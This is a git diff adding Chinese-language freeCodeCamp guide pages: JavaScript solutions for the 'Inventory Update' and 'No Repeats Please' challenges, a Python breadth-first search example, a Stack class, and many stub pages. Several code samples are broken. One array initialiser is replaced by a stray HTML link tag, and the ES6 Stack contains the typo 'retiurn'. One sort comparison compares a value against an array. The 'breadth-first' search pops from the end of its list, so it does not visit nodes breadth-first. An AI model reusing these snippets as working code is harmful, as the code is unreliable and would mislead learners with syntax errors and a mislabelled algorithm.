+        arrNeInvName.push(item[1]); 
+      }); 
+ 
+      // Get item's name for Current Inventory 
+      arr1.map(function(item) { 
+        arrCurInvName.push(item[1]); 
+      }); 
+ 
+      // Add new inventory items to current inventory. 
+      arrNeInvName.map(function(item) { 
+        if (arrCurInvName.indexOf(item) === -1) { 
+          index = arrNeInvName.indexOf(item); 
+          arr1.push(arr2[index]); 
+        } 
+      }); 
+ 
+      // Sort the array alphabetically using the second element of the array as base. 
+      arr1.sort(function(currItem, nextItem) { 
+ 
+        //Ternary function to avoid using if else 
+        return currItem[1] > nextItem[1] ? 1 : -1; 
+      }); 
+ 
+      return arr1; 
+    } 
+ 
+    // test here 
+    // Example inventory lists 
+    var curInv = [ 
+        [21, "Bowling Ball"], 
+        [2, "Dirty Sock"], 
+        [1, "Hair Pin"], 
+        [5, "Microphone"] 
+    ]; 
+ 
+    var newInv = [ 
+        [2, "Hair Pin"], 
+        [3, "Half-Eaten Apple"], 
+        [67, "Bowling Ball"], 
+        [7, "Toothpaste"] 
+    ]; 
+ 
+    updateInventory(curInv, newInv); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLol/0)
+
+### 代码说明：
+
+*   变量**索引**存储产品的位置（索引）。
+*   **arrCurInvName**具有**arr1**项的名称。
+*   **arrNeInvName**具有**arr2**项的名称。
+*   `arr1.map(function(item1))`负责处理库存中已存在的项目，即增加库存中的数量。
+*   接下来， `arr2.map(function(item))`和`arr1.map(function(item))`获取新库存和当前库存的商品名称。
+*   `arrNeInvName.map(function(item))`处理库存中尚不存在的项目，即它将新项目添加到库存中。
+*   然后，按产品名称（保存在`arr1[x][1]` ）按字母顺序对已更新的数组**arr1**进行排序并返回。
+
+#### 相关链接
+
+*   [JS Array.prototype.map（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map)
+*   [JS Array.prototype.indexOf（）](http://forum.freecodecamp.com/t/javascript-array-prototype-indexof/14291)
+*   [JS三元运营商](http://forum.freecodecamp.com/t/javascript-ternary-operator/15973)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 "：rotating_light：")高级代码解决方案
+
+```javascript
+    function updateInventory(arr1, arr2) { 
+      // All inventory must be accounted for or you're fired! 
+ 
+      // convert current inventory (arr1) to an one-dimensional array 
+      const inventory = Array.prototype.concat.apply([], arr1); 
+ 
+      // loop through new delivery (arr2) 
+      for (let i = 0; i < arr2.length; i++) { 
+ 
+        // extract item properties for easy reference 
+        const item = arr2[i][1]; 
+        const quantity = arr2[i][0]; 
+ 
+        // check if item already exists in inventory 
+        const position = inventory.indexOf(item); 
+ 
+        // exsisting item: update quantity 
+        if (position !== -1) { 
+          const row = Math.floor(position / 2); 
+          arr1[row][0] += quantity; 
+          continue; 
+        } 
+ 
+        // alien item: add to inventory 
+        arr1.push([quantity, item]); 
+ 
+      } 
+ 
+      // sort inventory in alphabetical order 
+      arr1.sort((previous, next) => (previous[1] > [next[1]]) ? 1 : -1); 
+ 
+      return arr1; 
+ 
+    } 
+ 
+ 
+    // test here 
+    // Example inventory lists 
+    var curInv = [ 
+        [21, "Bowling Ball"], 
+        [2, "Dirty Sock"], 
+        [1, "Hair Pin"], 
+        [5, "Microphone"] 
+    ]; 
+ 
+    var newInv = [ 
+        [2, "Hair Pin"], 
+        [3, "Half-Eaten Apple"], 
+        [67, "Bowling Ball"], 
+        [7, "Toothpaste"] 
+    ]; 
+ 
+    updateInventory(curInv, newInv); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/MQvv/latest)
+
+### 代码说明：
+
+*   将当前库存数组**arr1**转换为一维数组，以便`indexOf()`方法可用于检查当前库存中新交货项目的存在。
+*   使用`indexOf()`检查当前库存中是否已存在项目。
+*   如果项目存在更新数量并继续循环执行。
+*   否则将项目附加到库存。
+*   最后，按字母顺序对数组进行排序并返回更新的库存。
+
+#### 相关链接
+
+*   [JS Function.prototype.apply（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply)
+*   [JS继续](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/continue)
+*   [JS Array.prototype.sort（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")捐款说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
+*   如果您添加了任何**相关的主要内容，**请仅添加您的用户名。 （ ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **_不要_** _删除任何现有的用户名_ ）
+
+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272)供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/algorithms/no-repeats-please/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/algorithms/no-repeats-please/index.md
new file mode 100644
index 0000000000..bf7875cd22
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/algorithms/no-repeats-please/index.md
@@ -0,0 +1,177 @@
+---
+title: No Repeats Please
+localeTitle: 请不要重复
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 "：checkered_flag：")问题说明：
+
+此任务要求我们返回没有重复连续字母的提供字符串的总排列数。假设所提供的字符串中的所有字符都是唯一的。例如， `aab`应该返回2，因为它总共有6个排列（ `aab` ， `aab` ， `aba` ， `aba` ， `baa` ， `baa` ），但只有2个（ `aba`和`aba` ）没有相同的字母（在这种情况下为`a` ）重复。
+
+为此，我们必须查看字符串的每个可能的排列。有几种方法可以做到这一点。一个常见的面试问题是构建一个收集字符串所有排列的函数。互联网上有几个关于如何做到这一点的教程。
+
+#### 用作解决方案的潜在方法
+
+##### 递归方法
+
+即使在观看教程之后，这项任务也令人望而生畏。要编写递归解决方案，您需要发送函数的每个新用法三个输入：
+
+1.  正在构建的新字符串（或字符数组）。
+2.  新字符串中的一个位置将在下一个填充。
+3.  还没有使用原始字符串中的字符（更具体地说是位置）的想法。
+
+伪代码看起来像这样：
+```
+var str = ???; 
+ permAlone(current position in original string, characters used already in original string, created string) { 
+  if (current string is finished) { 
+    print current string; 
+  } else { 
+    for (var i = 0; i < str.length; i++) { 
+      if (str[i] has not been used) { 
+        put str[i] into the current position of new string; 
+        mark str[i] as used; 
+        permAlone(current position in original string, characters used already in original string, created string); 
+        remove str[i] as used because another branch in the tree for i + 1 will likely use it; 
+      } 
+    } 
+  } 
+ } 
+ permAlone(0, nothing used yet, empty new string (or array the same size as str)); 
+```
+
+考虑这个问题的另一种方法是从一个空的空间开始。介绍该空间的第一个字母。此空间现在将包含第一个子排列。这是一个说明这个想法的图表：
+
+![图](//discourse-user-assets.s3.amazonaws.com/original/2X/6/69896bacc8bd3b2e347beb4b304a7f97caa6d9ab.png)
+
+##### 非递归方法
+```
+// An approach to introduce a new character to a permutation 
+ var ch = '?'; 
+ var source = ['?', '?', '?'];     // Current sub-permutation 
+ var temp, dest = []; 
+ 
+ for (var i = 0; i <= source.length; ++i) { 
+  temp = source.slice(0);         // Copy the array 
+  temp.splice(i, 0, ch);          // Insert the new character 
+  dest.push(temp);                // Store the new sub-permutation 
+ } 
+```
+
+然后，通过将上述内容包括在采用源阵列并返回目标阵列的函数中，可以非递归地完成每个置换。对于输入字符串的每个字母，传递该字符，以及从上一次调用函数返回的数组。
+
+可视化这种方法的方法是考虑以字符串的第一个字符开头的树：
+
+![排列树](//discourse-user-assets.s3.amazonaws.com/original/2X/8/8187f2b06cdc02cf62286c18ce15bfcdc99bc68c.png)
+
+#### 相关链接
+
+*   [排列](https://www.mathsisfun.com/combinatorics/combinations-permutations.html)
+*   [Heap的算法](https://en.wikipedia.org/wiki/Heap%27s_algorithm)
+*   JS Regex资源
+*   [JS String对象](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+*   最简单的方法是使用Heap算法递归获取所有排列的列表。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：2
+
+*   获得列表后，只需创建一个正则表达式来捕获重复的字符。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：3
+
+*   您将希望将排列作为连接字符串的数组而不是分隔的字符。
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+```
+function permAlone(str) { 
+ 
+  // Create a regex to match repeated consecutive characters. 
+  var regex = /(.)\1+/g; 
+ 
+  // Split the string into an array of characters. 
+  var arr = str.split(''); 
+  var permutations = <a href='https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":rocket:"' target='_blank' rel='nofollow'>]; 
+  var tmp; 
+ 
+  // Return 0 if str contains same character. 
+  if (str.match(regex) !== null && str.match(regex)[0] === str) return 0; 
+ 
+  // Function to swap variables' content. 
+  function swap(index1, index2) { 
+    tmp = arr[index1]; 
+    arr[index1] = arr[index2]; 
+    arr[index2] = tmp; 
+  } 
+ 
+  // Generate arrays of permutations using the algorithm. 
+  function generate(int) { 
+    if (int === 1) { 
+      // Make sure to join the characters as we create  the permutation arrays 
+      permutations.push(arr.join('')); 
+    } else { 
+      for (var i = 0; i != int; ++i) { 
+        generate(int - 1); 
+        swap(int % 2 ? 0 : i, int - 1); 
+      } 
+    } 
+  } 
+ 
+  generate(arr.length); 
+ 
+  // Filter the array of repeated permutations. 
+  var filtered = permutations.filter(function(string) { 
+    return !string.match(regex); 
+  }); 
+ 
+  // Return how many have no repetitions. 
+  return filtered.length; 
+ } 
+ 
+ // Test here. 
+ permAlone('aab'); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLop/0)
+
+### 代码说明：
+
+*   **正则表达式**包含匹配重复连续字符的正则表达式。
+*   字符串**str**被分成一个字符数组**arr** 。
+*   如果**str**包含相同的字符，则返回0。
+*   函数`swap()`用于交换两个变量内容的内容。
+*   下一个代码块使用堆的算法来产生在**排列**的排列的阵列。
+*   **过滤的**变量过滤**排列**以仅包括非重复的排列。
+*   `filtered.length`返回没有重复连续字母的提供字符串的总排列数。
+
+#### 相关链接
+
+*   [JS String Prototype Split](http://forum.freecodecamp.com/t/javascript-string-prototype-split/15944)
+*   [JS String Prototype Match](http://forum.freecodecamp.com/t/javascript-string-prototype-match/15941)
+*   [JS阵列原型推送](http://forum.freecodecamp.com/t/javascript-array-prototype-push/14298)
+*   [JS Array Prototype Join](http://forum.freecodecamp.com/t/javascript-array-prototype-join/14292)
+*   [JS for Loops解释](http://forum.freecodecamp.com/t/javascript-for-loop/14666s-Explained)
+*   [array.length](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/length)
+*   [JS数组原型过滤器](http://forum.freecodecamp.com/t/javascript-array-prototype-filter/14289)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")捐款说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
+*   如果您添加了任何**相关的主要内容，**请仅添加您的用户名。 （ ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **_不要_** _删除任何现有的用户名_ ）
+
+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272)供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/algorithms/pairwise/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/algorithms/pairwise/index.md
new file mode 100644
index 0000000000..50a15e3a83
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/algorithms/pairwise/index.md
@@ -0,0 +1,9 @@
+---
+title: Pairwise
+localeTitle: 成对
+---
+## 成对
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/algorithms/pairwise/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/add-a-new-element-to-a-binary-search-tree/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/add-a-new-element-to-a-binary-search-tree/index.md
new file mode 100644
index 0000000000..c229e0357d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/add-a-new-element-to-a-binary-search-tree/index.md
@@ -0,0 +1,9 @@
+---
+title: Add a New Element to a Binary Search Tree
+localeTitle: 将新元素添加到二叉搜索树
+---
+## 将新元素添加到二叉搜索树
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/add-a-new-element-to-a-binary-search-tree/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/add-elements-at-a-specific-index-in-a-linked-list/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/add-elements-at-a-specific-index-in-a-linked-list/index.md
new file mode 100644
index 0000000000..3d5c24c3ff
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/add-elements-at-a-specific-index-in-a-linked-list/index.md
@@ -0,0 +1,9 @@
+---
+title: Add Elements at a Specific Index in a Linked List
+localeTitle: 在链接列表中的特定索引处添加元素
+---
+## 在链接列表中的特定索引处添加元素
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/add-elements-at-a-specific-index-in-a-linked-list/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/adjacency-list/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/adjacency-list/index.md
new file mode 100644
index 0000000000..ce7a048bb8
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/adjacency-list/index.md
@@ -0,0 +1,9 @@
+---
+title: Adjacency List
+localeTitle: 邻接名单
+---
+## 邻接名单
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/adjacency-list/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/adjacency-matrix/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/adjacency-matrix/index.md
new file mode 100644
index 0000000000..67b8d09075
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/adjacency-matrix/index.md
@@ -0,0 +1,9 @@
+---
+title: Adjacency Matrix
+localeTitle: 邻接矩阵
+---
+## 邻接矩阵
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/adjacency-matrix/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/breadth-first-search/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/breadth-first-search/index.md
new file mode 100644
index 0000000000..f4cc7bd7c1
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/breadth-first-search/index.md
@@ -0,0 +1,51 @@
+---
+title: Breadth-First Search
+localeTitle: 广度优先搜索
+---
+## 广度优先搜索
+
+让我们首先定义用于实现广度优先搜索算法的`Tree`类。
+
+```python
+class Tree: 
+  def __init__(self, x): 
+    self.val = x 
+    self.left = None 
+    self.right = None 
+```
+
+广度优先搜索算法从树的根开始从一个级别移动到另一个级别。我们将为此使用`queue` 。
+
+```python
+def bfs(root_node): 
+  queue = [root_node] 
+ 
+  while queue: 
+    top_element = queue.pop() 
+    print("Node processed: ",top_element) 
+ 
+    if top_element.left: 
+      queue.append(top_element.left) 
+ 
+    if top_element.right: 
+      queue.append(top_element.right) 
+```
+
+我们可以轻松修改上面的代码来打印每个节点的级别。
+
+```python
+def bfs(root_node): 
+  queue = [(root_node, 0)] 
+ 
+  while queue: 
+    top_element, level = queue.pop() 
+    print("Node processed: {} at level {}".format(top_element, level)) 
+ 
+    if top_element.left: 
+      queue.append((top_element.left, level + 1)) 
+ 
+    if top_element.right: 
+      queue.append((top_element.right, level + 1)) 
+```
+
+|复杂性|时间|空间| | ----- | ------ | ------ | | BFS | n | n |
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/check-if-an-element-is-present-in-a-binary-search-tree/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/check-if-an-element-is-present-in-a-binary-search-tree/index.md
new file mode 100644
index 0000000000..648e41a00b
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/check-if-an-element-is-present-in-a-binary-search-tree/index.md
@@ -0,0 +1,9 @@
+---
+title: Check if an Element is Present in a Binary Search Tree
+localeTitle: 检查二进制搜索树中是否存在元素
+---
+## 检查二进制搜索树中是否存在元素
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/check-if-an-element-is-present-in-a-binary-search-tree/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/create-a-circular-queue/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/create-a-circular-queue/index.md
new file mode 100644
index 0000000000..340634ae69
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/create-a-circular-queue/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Circular Queue
+localeTitle: 创建循环队列
+---
+## 创建循环队列
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/create-a-circular-queue/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/create-a-doubly-linked-list/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/create-a-doubly-linked-list/index.md
new file mode 100644
index 0000000000..6f85deb5ca
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/create-a-doubly-linked-list/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Doubly Linked List
+localeTitle: 创建双向链接列表
+---
+## 创建双向链接列表
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/create-a-doubly-linked-list/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/create-a-hash-table/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/create-a-hash-table/index.md
new file mode 100644
index 0000000000..f1fe272e44
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/create-a-hash-table/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Hash Table
+localeTitle: 创建一个哈希表
+---
+## 创建一个哈希表
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/create-a-hash-table/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/create-a-linked-list-class/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/create-a-linked-list-class/index.md
new file mode 100644
index 0000000000..1c33b169b6
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/create-a-linked-list-class/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Linked List Class
+localeTitle: 创建链接列表类
+---
+## 创建链接列表类
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/create-a-linked-list-class/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/create-a-map-data-structure/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/create-a-map-data-structure/index.md
new file mode 100644
index 0000000000..b3961a7ead
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/create-a-map-data-structure/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Map Data Structure
+localeTitle: 创建地图数据结构
+---
+## 创建地图数据结构
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/create-a-map-data-structure/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/create-a-priority-queue-class/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/create-a-priority-queue-class/index.md
new file mode 100644
index 0000000000..17acfb53d3
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/create-a-priority-queue-class/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Priority Queue Class
+localeTitle: 创建优先级队列类
+---
+## 创建优先级队列类
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/create-a-priority-queue-class/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/create-a-queue-class/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/create-a-queue-class/index.md
new file mode 100644
index 0000000000..ff853c2ce2
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/create-a-queue-class/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Queue Class
+localeTitle: 创建队列类
+---
+## 创建队列类
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/create-a-queue-class/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/create-a-set-class/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/create-a-set-class/index.md
new file mode 100644
index 0000000000..3a30fd37a1
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/create-a-set-class/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Set Class
+localeTitle: 创建一个Set类
+---
+## 创建一个Set类
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/create-a-set-class/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/create-a-stack-class/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/create-a-stack-class/index.md
new file mode 100644
index 0000000000..7b373e07f9
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/create-a-stack-class/index.md
@@ -0,0 +1,81 @@
+---
+title: Create a Stack Class
+localeTitle: 创建一个堆栈类
+---
+## 创建一个堆栈类
+
+### 方法：
+
+*   Stack是一种抽象的数据结构。
+*   堆栈遵循LIFO / FILO原则。
+
+## \-在这个挑战，我们需要添加`.push()` `.pop()` `.peek()` `.isEmpty()`和`.clear()`方法的类。
+
+*   `push()`方法将值推送到堆栈。
+*   `pop()`方法弹出堆栈中的第一个值。
+*   `peek()`方法返回堆栈中的第一个值。
+*   `isEmpty()`方法检查堆栈是否为空。
+
+## \- `.clear()`方法从堆栈中删除所有元素。
+
+| DS |访问|搜索|插入|删除| | ----- | ------ | ------ | ------ | ------ | |堆栈| n | n | 1 | 1 |
+
+### 解：
+
+#### 基础：
+
+```js
+function Stack() { 
+    var collection = []; 
+    this.print = function() { 
+        console.log(collection); 
+    }; 
+    this.push = function(val){ 
+        return collection.push(val); 
+    } 
+    this.pop = function(){ 
+        return collection.pop(); 
+    } 
+    this.peek = function(){ 
+        return collection[collection.length-1]; 
+    } 
+    this.isEmpty = function(){ 
+        return collection.length === 0; 
+    } 
+    this.clear = function(){ 
+        collection.length = 0; 
+    } 
+ } 
+```
+
+#### 高级 - ES6类语法：
+
+```js
+class Stack { 
+    constructor() { 
+        this.collection = []; 
+    } 
+    print(){ 
+        console.log(this.collection); 
+    } 
+    push(val){ 
+        retiurn this.collection.push(val); 
+    } 
+    pop(){ 
+        return this.collection.pop(); 
+    } 
+    peek(){ 
+        return this.collection[this.collection.length-1]; 
+    } 
+    isEmpty(){ 
+        return this.collection.length === 0; 
+    } 
+    clear(){ 
+        return this.collection.length = 0; 
+    } 
+ } 
+```
+
+###资源：
+
+*   [维基百科](https://en.wikipedia.org/wiki/Stack_(abstract_data_type))
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/create-a-trie-search-tree/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/create-a-trie-search-tree/index.md
new file mode 100644
index 0000000000..0489ab7842
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/create-a-trie-search-tree/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Trie Search Tree
+localeTitle: 创建Trie搜索树
+---
+## 创建Trie搜索树
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/create-a-trie-search-tree/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/create-an-es6-javascript-map/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/create-an-es6-javascript-map/index.md
new file mode 100644
index 0000000000..0ddd06b3a4
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/create-an-es6-javascript-map/index.md
@@ -0,0 +1,9 @@
+---
+title: Create an ES6 JavaScript Map
+localeTitle: 创建ES6 JavaScript地图
+---
+## 创建ES6 JavaScript地图
+
